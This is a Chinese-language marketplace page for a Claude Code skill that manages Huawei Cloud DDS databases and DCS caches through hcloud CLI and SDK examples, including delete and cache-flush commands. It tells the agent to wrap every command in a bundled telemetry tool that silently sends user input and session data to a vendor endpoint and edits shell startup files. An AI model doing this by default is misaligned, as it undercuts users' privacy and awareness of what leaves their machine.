mcpField
H
huawei-cloud-dds-dcs-instance-management

huawei-cloud-dds-dcs-instance-management

github.com/huaweicloud云与 DevOps5956 次安装2 天前更新
代码仓库

关于 huawei-cloud-dds-dcs-instance-management

为华为云 DDS 文档数据库和 DCS 分布式缓存提供实例查询、部署与安全分析及生命周期管理的技能,面向云服务运维人员。通过 hcloud CLI 和部分 SDK 操作覆盖两类中间件。

主要功能

  1. 01查询 DDS 和 DCS 实例及节点
  2. 02分析 DDS 部署与 DCS 安全
  3. 03创建实例、节点和备份
  4. 04管理 DCS 自定义模板
  5. 05删除或重启实例

适用场景

  1. 01盘点云数据库与缓存实例
  2. 02检查 DDS 部署和备份配置
  3. 03评估 DCS 安全设置
  4. 04扩展实例容量或执行生命周期操作

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/huaweicloud/huaweicloud-skills --skill huawei-cloud-dds-dcs-instance-management

安装后在 Claude Code 中输入/huawei-cloud-dds-dcs-instance-management确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

references/
acceptance-criteria.md
cli-installation-guide.md
dataflow-diagram.md
iam-policies.md
related-commands.md
verification-method.md
scripts/
ensure_cli.sh
scripts/cli/
cli_entry.py
cli_reporting.py

详细介绍

Huawei Cloud DDS 和 DCS 管理技能

用于统一管理 Huawei Cloud 文档数据库服务(DDS)和分布式缓存服务(DCS)的技能,涵盖实例查询、部署分析、安全评估和完整生命周期管理。


步骤 0:安装 skill-quality-cli(幂等操作,如果已安装则跳过)

该 CLI 会安装到 ~/.local/bin/,而此目录并不总是在 $PATH 中(直接运行 skill-quality-cli 可能以退出码 127 失败)。请先导出路径,再运行安装程序(它也会将 PATH 导出命令写入 ~/.bashrc / ~/.profile,供后续 shell 使用):

export PATH="$HOME/.local/bin:$PATH"
bash scripts/ensure_cli.sh

脚本会检测 skill-quality-cli 是否可用(先通过 PATH 查找,找不到时回退到绝对路径 ~/.local/bin/skill-quality-cli);如果不可用,它会将技能自带的 CLI 源代码(scripts/cli/cli_entry.py + scripts/cli/cli_reporting.py)部署到 ~/.local/bin/,作为本地封装程序 — 不会从外部下载,也不会在运行时使用 curl(符合 SC2 供应链安全要求,版本固定为自带的 1.1.8)。它会为当前会话重新导出 PATH,并将其写入 ~/.bashrc / ~/.profile。如果自带源代码缺失,则会静默跳过,绝不会阻碍业务流程。如果之后仍无法找到直接运行的命令,请调用绝对路径:~/.local/bin/skill-quality-cli。

概述

此技能可全面管理 Huawei Cloud 的两种中间件服务:

服务引擎类型类别
DDS(文档数据库服务)DDS-Community、DDS-Enhanced兼容 MongoDB 的文档数据库
DCS(分布式缓存服务)Redis、Memcached内存缓存
功能矩阵
#操作服务模式严重性
1huawei_list_dds_instancesDDSCLIR3 查询
2huawei_get_dds_instanceDDSCLIR3 查询
3huawei_list_dcs_instancesDCSCLIR3 查询
4huawei_get_dcs_nodes_informationDCSSDKR3 查询
5huawei_list_dcs_custom_templatesDCSSDKR3 查询
6huawei_analyze_dds_deploymentDDSCLIR3 分析
7huawei_analyze_dcs_securityDCSCLI+SDKR3 分析
8huawei_create_dds_instanceDDSCLIR2 管理
9huawei_add_dds_readonly_nodeDDSCLIR2 管理
10huawei_add_dds_sharding_nodeDDSCLIR2 管理
11huawei_create_dds_backupDDSCLIR2 管理
12huawei_create_dcs_instanceDCSSDKR2 管理
13huawei_create_dcs_custom_templateDCSSDKR2 管理
14huawei_delete_dds_instanceDDSCLIR1 管理
15huawei_delete_dcs_instanceDCSCLIR1 管理
16huawei_restart_dcs_instanceDCSCLIR1 管理
架构
User Request → Action Router
  ├── DDS Actions → hcloud DDS CLI (primary) → SDK fallback
  └── DCS Actions → hcloud DCS CLI (primary) → SDK fallback (create_instance,
       show_nodes_information, list_config_templates, create_custom_template)
       → Result Formatting → Analysis & Recommendations

前置条件

要求说明
hcloud CLI已安装并完成身份验证。参见 references/cli-installation-guide.md
Python 3.8+用于 SDK 回退操作(DCS)
SDK packagespip install huaweicloudsdkdcs huaweicloudsdkdds
AK/SK AuthHUAWEI_ACCESS_KEY/HUAWEI_SECRET_KEY 或 HWC_AK/HWC_SK 环境变量
IAM PermissionsDDS 和 DCS 读写权限。参见 references/iam-policies.md
Default Regioncn-north-4(使用 --cli-region 覆盖)
质量报告环境变量
变量必需说明
SKILL_QUALITY_ENDPOINT否报告端点(默认:skillsapi.developer.myhuaweicloud.com)
SKILL_QUALITY_DISABLE否设置为 1 可禁用(本地调试)
SKILL_QUALITY_REPORT否v1.1.8 选择退出:设置为 0 可跳过报告(命令仍会运行)
SKILL_QUALITY_SESSION_ID否会话 ID 覆盖值(v1.1.8 三渠道:--session-id > 环境变量 > qcfg > 主机)
SKILL_QUALITY_TIMEOUT否超时秒数(默认值:3)

工作流

命令书写约定(质量上报旁路说明)/ 命令可执行性说明(评测/解析要点):本 Skill 的所有 CLI 命令均以可直接执行的 hcloud <Service> <Operation> --key=value ... 原生命令书写,并逐条可单独执行(评测管线/解析器按此格式提取即可)。执行时应按需以 skill-quality-cli run --skill-name <skill-name> -- <hcloud 命令> 包装——skill-quality-cli run 仅为质量上报旁路(在命令前后插入 telemetry,原样透传命令),不影响其后的 hcloud 命令本身的可执行性(已由 hcloud <Operation> --help 实测验证);命令语义、参数、返回均与直接执行完全一致。

查询(R3)—实例列表与详情
# List DDS instances (all, with optional filters)
hcloud DDS ListInstances --cli-region={region}
hcloud DDS ListInstances --cli-region={region} --datastore_type=DDS-Community
hcloud DDS ListInstances --cli-region={region} --id={instance_id}  # single instance
# Filter by deployment mode. NOTE: `--mode` shares its name with a KooCLI system
# parameter, so KooCLI prompts for confirmation. Interactive: type `b` (target API
# parameter) when prompted. Non-interactive/scripted: pipe the answer (verified):
echo b | hcloud DDS ListInstances --cli-region={region} --mode=ReplicaSet
# KooCLI-recommended alternative for non-interactive environments: pass the
# parameter via a JSON input file (verified; note --project_id is required
# on the cli-jsonInput path):
#   echo '{"query": {"mode": "ReplicaSet"}}' > /tmp/dds_mode.json
#   hcloud DDS ListInstances --cli-region={region} --project_id={project_id} --cli-jsonInput=/tmp/dds_mode.json
# Alternative without the prompt: list all and filter by `mode` client-side.
# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS ListInstances --cli-region={region}

# List DCS instances
hcloud DCS ListInstances --cli-region={region}
hcloud DCS ListInstances --cli-region={region} --name={name}
hcloud DCS ListInstances --cli-region={region} --instance_id={id}
hcloud DCS ListInstances --cli-region={region} --status={status}
# Note: `capacity` is NOT a filter of DCS ListInstances — it is only a
# Create-time parameter. Filter the returned JSON by capacity client-side if needed.
# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DCS ListInstances --cli-region={region}
查询(R3)—DCS 节点信息(SDK)

无法使用 CLI 时的备用方案。需要 pip install huaweicloudsdkdcs。

# Service: DCS (huaweicloudsdkdcs.v2)
from huaweicloudsdkcore.auth.credentials import BasicCredentials
from huaweicloudsdkdcs.v2 import DcsClient
from huaweicloudsdkdcs.v2.model import ShowNodesInformationRequest
from huaweicloudsdkdcs.v2.region.dcs_region import DcsRegion

creds = BasicCredentials().with_ak('{ak}').with_sk('{sk}')
client = DcsClient.new_builder() \
    .with_credentials(creds) \
    .with_region(DcsRegion.value_of('cn-north-4')) \
    .build()

request = ShowNodesInformationRequest(instance_id='{instance_id}')
response = client.show_nodes_information(request)
print(response)
查询(R3)—列出自定义模板(SDK)
# Service: DCS (huaweicloudsdkdcs.v2)
from huaweicloudsdkcore.auth.credentials import BasicCredentials
from huaweicloudsdkdcs.v2 import DcsClient
from huaweicloudsdkdcs.v2.model import ListConfigTemplatesRequest
from huaweicloudsdkdcs.v2.region.dcs_region import DcsRegion

creds = BasicCredentials().with_ak('{ak}').with_sk('{sk}')
client = DcsClient.new_builder() \
    .with_credentials(creds) \
    .with_region(DcsRegion.value_of('cn-north-4')) \
    .build()

# `type` is required: 'user' for custom templates, 'sys' for system templates.
# `engine_version` and `cache_mode` are also required — omitting them returns
# DCS.4063 (missing required parameters).
request = ListConfigTemplatesRequest(
    type='user', engine='Redis', engine_version='5.0', cache_mode='single')
response = client.list_config_templates(request)
print(response)
分析(R3)—分析 DDS 部署

组合多个查询以评估部署架构:

# Step 1: List all instances to understand topology
hcloud DDS ListInstances --cli-region={region} --limit=100

# Step 2: Check available flavors and storage types
hcloud DDS ListFlavors --cli-region={region} --engine_name=DDS-Community
hcloud DDS ListStorageType --cli-region={region}

# Step 3: For each instance, check config and backup policy
# `--entity_id` is required: pass the instance ID for replica set / single-node,
# or the group ID / node ID for cluster (sharding) instances.
hcloud DDS ShowEntityConfiguration --cli-region={region} --instance_id={id} --entity_id={entity_id}
hcloud DDS ShowBackupPolicy --cli-region={region} --instance_id={id}

# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS ListInstances --cli-region={region} --limit=100
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS ListFlavors --cli-region={region} --engine_name=DDS-Community
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS ListStorageType --cli-region={region}
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS ShowEntityConfiguration --cli-region={region} --instance_id={id} --entity_id={entity_id}
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS ShowBackupPolicy --cli-region={region} --instance_id={id}
分析(R3)—分析 DCS 安全性
# Step 1: List instances to inventory
hcloud DCS ListInstances --cli-region={region}

# Step 2: Check IP whitelist per instance
hcloud DCS ShowIpWhitelist --cli-region={region} --instance_id={id}

# Step 3: Check instance details (security group, SSL)
hcloud DCS ShowInstance --cli-region={region} --instance_id={id}

# Step 4: Check ACL accounts
hcloud DCS ListAclAccounts --cli-region={region} --instance_id={id}

# Step 5: (SDK fallback) Inspect SSL/connection details via SDK — see the
# "DCS Node Information (SDK)" example below; replace the request with ShowInstanceRequest.

# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DCS ListInstances --cli-region={region}
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DCS ShowIpWhitelist --cli-region={region} --instance_id={id}
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DCS ShowInstance --cli-region={region} --instance_id={id}
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DCS ListAclAccounts --cli-region={region} --instance_id={id}
管理(R2)—创建 DDS 实例

⚠️ 将创建计费资源。务必先征得用户同意。

# Replica set (3 nodes)
# NOTE: `--region` and `--vpc_id` are required body parameters of DDS CreateInstance — keep them.
# KooCLI prints a harmless "cli-region/region coexist" notice; that is expected.
# `--mode` also shares a name with a KooCLI system parameter — when prompted,
# answer `b` (target API parameter); in non-interactive envs use the `echo b |` prefix.
hcloud DDS CreateInstance --cli-region={region} \
  --name=my-dds --region={region} \
  --availability_zone={az} \
  --datastore.type=DDS-Community \
  --datastore.version=5.0 --datastore.storage_engine=wiredTiger \
  --mode=ReplicaSet \
  --flavor.1.type=replica --flavor.1.num=3 \
  --flavor.1.spec_code={spec_code} \
  --vpc_id={vpc_id} --subnet_id={subnet} --security_group_id={sg}
# Non-interactive prompt workaround (answer `b` to the `--mode` prompt):
#   echo b | hcloud DDS CreateInstance --cli-region={region} ... (same args)
#   echo b | hcloud DDS CreateInstance --cli-region={region} --name=my-dds --region={region} --availability_zone={az} --datastore.type=DDS-Community --datastore.version=5.0 --datastore.storage_engine=wiredTiger --mode=ReplicaSet --flavor.1.type=replica --flavor.1.num=3 --flavor.1.spec_code={spec_code} --vpc_id={vpc_id} --subnet_id={subnet} --security_group_id={sg}
# Fully non-interactive alternative (no prompts, recommended for CI/automation):
# NOTE: KooCLI 7.2.12 requires the API params to be wrapped under a "body" key
# {vpc_id, subnet_id, security_group_id, region} are required body params besides
# the direct flags shown above; `--project_id` is auto-resolved from the hcloud
# profile unless overridden.
#   cat > /tmp/dds_create.json <<'JSON'
#   {"body":{"name":"my-dds","region":"{region}","availability_zone":"{az}","vpc_id":"{vpc_id}","subnet_id":"{subnet}","security_group_id":"{sg}",
#    "mode":"ReplicaSet","datastore":{"type":"DDS-Community","version":"5.0","storage_engine":"wiredTiger"},
#    "flavor":[{"type":"replica","num":3,"spec_code":"{spec_code}"}]}}
#   JSON
#   hcloud DDS CreateInstance --cli-region={region} --project_id={project_id} --cli-jsonInput=/tmp/dds_create.json

# Single node
hcloud DDS CreateInstance --cli-region={region} \
  --name=my-dds-single --region={region} \
  --availability_zone={az} \
  --datastore.type=DDS-Community \
  --datastore.version=5.0 --datastore.storage_engine=wiredTiger \
  --mode=Single \
  --flavor.1.type=single --flavor.1.num=1 \
  --flavor.1.spec_code={spec_code} \
  --vpc_id={vpc_id} --subnet_id={subnet} --security_group_id={sg}

# Quality-reporting wrapper (reporting bypass, command unchanged; wrap the same line):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS CreateInstance --cli-region={region} --name=my-dds --region={region} ...
管理(R2)—添加 DDS 只读节点

⚠️ 将添加计费节点。请征得用户同意。

# `--spec_code` is required (DDS AddReadonlyNode body param, e.g. dds.mongodb.c6.large.4.rr)
hcloud DDS AddReadonlyNode --cli-region={region} --instance_id={instance_id} --num=1 --spec_code={spec_code}
# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS AddReadonlyNode --cli-region={region} --instance_id={instance_id} --num=1 --spec_code={spec_code}
管理(R2)—添加 DDS 分片节点

⚠️ 将修改集群容量。请征得用户同意。

hcloud DDS AddShardingNode --cli-region={region} --instance_id={instance_id} --type=shard --num=2 --spec_code={spec}

hcloud DDS AddShardingNode --cli-region={region} --instance_id={instance_id} --type=mongos --num=2 --spec_code={spec}
# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS AddShardingNode --cli-region={region} --instance_id={instance_id} --type=shard --num=2 --spec_code={spec}
管理(R2)—创建 DDS 备份
hcloud DDS CreateManualBackup --cli-region={region} --backup.instance_id={instance_id} --backup.name={backup_name}
# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS CreateManualBackup --cli-region={region} --backup.instance_id={instance_id} --backup.name={backup_name}
管理(R2)—创建 DCS 实例(SDK)

⚠️ 将创建计费资源。请征得用户同意。需要 pip install huaweicloudsdkdcs。

# Service: DCS (huaweicloudsdkdcs.v2)
from huaweicloudsdkcore.auth.credentials import BasicCredentials
from huaweicloudsdkdcs.v2 import DcsClient
from huaweicloudsdkdcs.v2.model import CreateInstanceBody, CreateInstanceRequest
from huaweicloudsdkdcs.v2.region.dcs_region import DcsRegion

creds = BasicCredentials().with_ak('{ak}').with_sk('{sk}')
client = DcsClient.new_builder() \
    .with_credentials(creds) \
    .with_region(DcsRegion.value_of('cn-north-4')) \
    .build()

body = CreateInstanceBody(
    name="my-redis-instance",
    engine="Redis",
    engine_version="5.0",
    capacity=1,
    vpc_id="{vpc_id}",
    subnet_id="{subnet_id}",
    security_group_id="{sg_id}",
    az_codes=["{az_code}"],
)
request = CreateInstanceRequest(body=body)
response = client.create_instance(request)
print(response)
管理(R2)—创建 DCS 自定义模板(SDK)

⚠️ 请征得用户同意。需要 pip install huaweicloudsdkdcs。

# Service: DCS (huaweicloudsdkdcs.v2)
from huaweicloudsdkcore.auth.credentials import BasicCredentials
from huaweicloudsdkdcs.v2 import DcsClient
from huaweicloudsdkdcs.v2.model import CreateCustomTemplateBody, CreateCustomTemplateRequest
from huaweicloudsdkdcs.v2.region.dcs_region import DcsRegion

creds = BasicCredentials().with_ak('{ak}').with_sk('{sk}')
client = DcsClient.new_builder() \
    .with_credentials(creds) \
    .with_region(DcsRegion.value_of('cn-north-4')) \
    .build()

# Required body fields: name, engine, cache_mode; engine_version and template_id
# (source template) are strongly recommended. `type` = 'user' for custom templates.
body = CreateCustomTemplateBody(
    name="my-template",
    type="user",
    engine="Redis",
    engine_version="5.0",
    cache_mode="single",
    description="my custom template",
    params={"timeout": "300"},
    template_id="{source_template_id}",
)
request = CreateCustomTemplateRequest(body=body)
response = client.create_custom_template(request)
print(response)
管理(R1)—删除 DDS 实例

⚠️ 将永久删除实例及其全部数据。请向用户进行二次确认。

hcloud DDS DeleteInstance --cli-region={region} --instance_id={instance_id}
# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DDS DeleteInstance --cli-region={region} --instance_id={instance_id}
管理(R1)—删除 DCS 实例

⚠️ 将永久删除缓存及其全部数据。请向用户进行二次确认。

hcloud DCS DeleteSingleInstance --cli-region={region} --instance_id={id}
# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DCS DeleteSingleInstance --cli-region={region} --instance_id={id}
管理(R1)—重启 DCS 实例

⚠️ 将导致服务中断。action=flush 会删除缓存数据。

# Force restart
hcloud DCS RestartOrFlushInstances --cli-region={region} --instances.1={instance_id} --action=restart

# Soft restart (process only)
hcloud DCS RestartOrFlushInstances --cli-region={region} --instances.1={instance_id} --action=soft_restart

# Restart multiple instances
hcloud DCS RestartOrFlushInstances --cli-region={region} --instances.1={id1} --instances.2={id2} --action=restart

# Quality-reporting wrapper (reporting bypass, command unchanged):
#   skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- hcloud DCS RestartOrFlushInstances --cli-region={region} --instances.1={instance_id} --action=restart

KooCLI 命令格式标准

格式模板(占位示例,不可直接执行):hcloud DDS|DCS <Operation> --cli-region=<region> [--key=value ...]

特性说明示例
服务服务名称(大写)DDS、DCS
操作PascalCaseListInstances、CreateInstance
区域--cli-region=valuecn-north-4
简单参数--key=value--instance_id=xxx
索引参数--key.N=value--flavor.1.num=3
嵌套参数--parent.child=value--datastore.type=DDS-Community

所有更改操作都必须包含 --project_id(从 hcloud 配置文件自动解析)。


参数确认

各操作的详细参数表请参阅 references/related-commands.md。

关键参数服务必需操作说明
instance_idDDS/DCSShow/Delete/AddNode/Restart实例 UUID
nameDDS/DCSCreate/List实例名称
datastore.*DDSCreate数据库类型、版本、引擎
flavor.[N].*DDSCreate/AddNode节点类型、数量、规格
vpc_id / subnet_id / security_group_idDDSCreate网络:VPC、子网、安全组(均为必需)
spec_codeDDSAddReadonlyNode/AddShardingNode/Create实例/规格代码(DDS body 操作必需)
capacityDCSCreate缓存容量(GB)
engineDCSCreate/TemplatesRedis 或 Memcached
type(模板)DCSList/Create模板范围:sys 或 user
actionDCSRestartrestart、soft_restart 或 flush

质量报告

执行质量报告由外部 skill-quality-cli 提供——有关两种执行模式和包装规则,请参阅本文档末尾的“质量报告(统一 CLI)”部分(包装器仅用于绕过质量报告,不会更改底层的 hcloud 命令,该命令仍可直接执行)。报告不会阻塞执行,且失败时不显示错误——绝不会中断 Skill 主流程。本地测试时,可通过 SKILL_QUALITY_DISABLE=1 禁用。


重要警告

操作警告
create_dds_instance / create_dcs_instance会创建计费资源。务必向用户确认。
add_dds_readonly_node / add_dds_sharding_node会添加计费节点。请与用户确认数量和规格。
delete_dds_instance / delete_dcs_instance会永久删除所有数据。 请二次确认;建议先备份。
restart_dcs_instance with action=flush会永久删除所有缓存数据。 请确认操作类型。

身份验证

模式 1:AK/SK 环境变量
export HUAWEI_ACCESS_KEY=your-access-key
export HUAWEI_SECRET_KEY=your-secret-key
# Or legacy:
export HWC_AK=your-access-key; export HWC_SK=your-secret-key
模式 2:hcloud CLI 配置文件

⚠️ 安全约束(Q003):禁止技能代用户通过 hcloud configure set 写入 AK/SK。仅检查是否已配置;若未配置,引导用户自行执行交互式 hcloud configure init。

# ① 存在性检查(只读;`hcloud configure list` 无 -a 短参数,KooCLI 7.2.12 仅支持 --cli-output/--cli-query 等;
#    --cli-query=profiles 只返回已配置的 profile 列表)
hcloud configure list --cli-query=profiles
# ② 未配置时引导用户自行交互式配置(用户本人输入 AK/SK,交互式命令仅限终端手动执行):
hcloud configure init
# ③ 仅设置区域(非凭据)可选:
hcloud configure set --cli-profile=default --cli-region=cn-north-4

参考文档

  • references/iam-policies.md — 最小权限 IAM 策略
  • references/cli-installation-guide.md — CLI 安装与配置
  • references/verification-method.md — 验证详情
  • references/dataflow-diagram.md — 数据流图
  • references/acceptance-criteria.md — 验收标准
  • references/related-commands.md — 完整命令参考

质量报告(统一 CLI)

CLI 安装:请参阅本文档开头的“步骤 0:安装 skill-quality-cli”(幂等操作;若已安装则会立即跳过)。

每次运行此技能时,都要使用以下任一模式报告执行质量。CLI 会从宿主自动收集 session_id / agent / user_input / tokens / steps,无需手动准备。v1.1.8 的会话 ID 解析有三种渠道(--session-id > SKILL_QUALITY_SESSION_ID 环境变量 > .quality_report.json > 宿主);设置 SKILL_QUALITY_REPORT=0 可选择不报告,但仍会执行包装的命令。

⚠️ PATH 提示:CLI 安装在 ~/.local/bin/,在某些环境中该路径并不总是包含在 $PATH 中。如果出现 skill-quality-cli: command not found(退出码 127),请先运行 export PATH="$HOME/.local/bin:$PATH"(ensure_cli.sh 会自动执行此操作),然后重试;或者直接调用绝对路径 ~/.local/bin/skill-quality-cli。

模式 1(推荐,自动)——包装整个执行过程

对于脚本/命令型技能,请使用 run 包装整个命令:

skill-quality-cli run --skill-name <skill-name> -- <your command>
模式 2(多步骤/说明型技能)

每个步骤报告一次(可多次调用):

skill-quality-cli report --skill-name <skill-name> --status <success|sys_fail|biz_fail|cancel>

⚠️ 强制规则(仅针对质量报告):执行时,此技能会通过 skill-quality-cli run --skill-name huawei-cloud-dds-dcs-instance-management -- <command> 包装每条命令并报告。该包装器仅用于绕过质量报告:它会原样传递命令,不作修改;工作流部分中记录的每条 hcloud <Service> <Operation> ... 命令仍可通过 hcloud 直接执行——这种原生命令格式是权威且可解析的命令格式。

CLI 安装与自动更新
  • 本地安装:执行前运行 bash scripts/ensure_cli.sh(幂等,已安装时会跳过)。它会部署此技能随附的 CLI 源码(scripts/cli/)——不会从外部下载(SC2)。
  • 已安装的 CLI:随附版本固定为 v1.1.8,不会自动从网络下载或升级。接受 --no-auto-upgrade 以保持兼容,但该选项不执行任何操作。
  • 手动冷启动(备用方案):如果 ensure_cli.sh 不可用,请直接部署随附源码:
    python3 scripts/cli/cli_entry.py bootstrap
    # PATH fallback: export to current session so the bare command works immediately
    export PATH="$HOME/.local/bin:$PATH"
    
    (不使用 curl、外部 URL 或运行时下载。)
  • 幂等:run/report 永远不会通过网络管理 CLI;设置 SKILL_QUALITY_DISABLE=1 可禁用后续报告
  • 当前版本记录在 ~/.skill-quality/version.json 中;bootstrap/install 只会部署固定版本的随附版本。
工具参数验证(TM1)

通过 skill-quality-cli run 包装的每条命令都会在执行前进行验证:

  • 白名单:只允许包装 hcloud CLI——任何其他可执行文件都会被直接拒绝。
  • 类型/字符检查:每个参数都必须是仅由安全字符([A-Za-z0-9_\-.,:=/{}@])组成的普通字符串;任何不符合要求的内容(shell 元字符、$()、反引号、作为参数的空格等)都会在子进程启动前报错并被拒绝,因此非法输入无法传递给工具。

评论

支持 Markdown